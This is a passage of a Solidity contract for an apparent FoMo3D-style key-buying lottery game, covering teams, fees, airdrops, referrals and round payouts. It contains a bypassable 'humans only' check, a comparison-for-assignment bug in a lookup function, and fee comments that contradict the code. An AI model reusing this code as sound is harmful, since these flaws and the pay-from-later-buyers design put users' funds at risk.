string constant public symbol = "HX";
uint256 private rndExtra_ = 0; // length of the very first ICO
uint256 private rndGap_ = 0; // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => HXdatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => HXdatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => HXdatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => HXdatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => HXdatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (HX, 0) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = HXdatasets.TeamFee(30,6); //46% to pot, 20% to aff, 2% to com, 2% to air drop pot
fees_[1] = HXdatasets.TeamFee(43,0); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot
fees_[2] = HXdatasets.TeamFee(56,10); //20% to pot, 20% to aff, 2% to com, 2% to air drop pot
fees_[3] = HXdatasets.TeamFee(43,8); //33% to pot, 20% to aff, 2% to com, 2% to air drop pot
// how to split up the final pot based on which team was picked
// (HX, 0)
potSplit_[0] = HXdatasets.PotSplit(15,10); //48% to winner, 25% to next round, 12% to com
potSplit_[1] = HXdatasets.PotSplit(25,0); //48% to winner, 20% to next round, 12% to com
potSplit_[2] = HXdatasets.PotSplit(20,20); //48% to winner, 15% to next round, 12% to com
potSplit_[3] = HXdatasets.PotSplit(30,10); //48% to winner, 10% to next round, 12% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. ");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
HXdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
HXdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
HXdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
HXdatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
HXdatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit HXevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit HXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit HXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit HXevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, HXdatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit HXevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, HXdatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(HXdatasets.EventReturns memory _eventData_)
private
returns (HXdatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot.mul(2) / 100);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
community_addr.transfer(_com);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
token_community_addr.transfer(_p3d);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
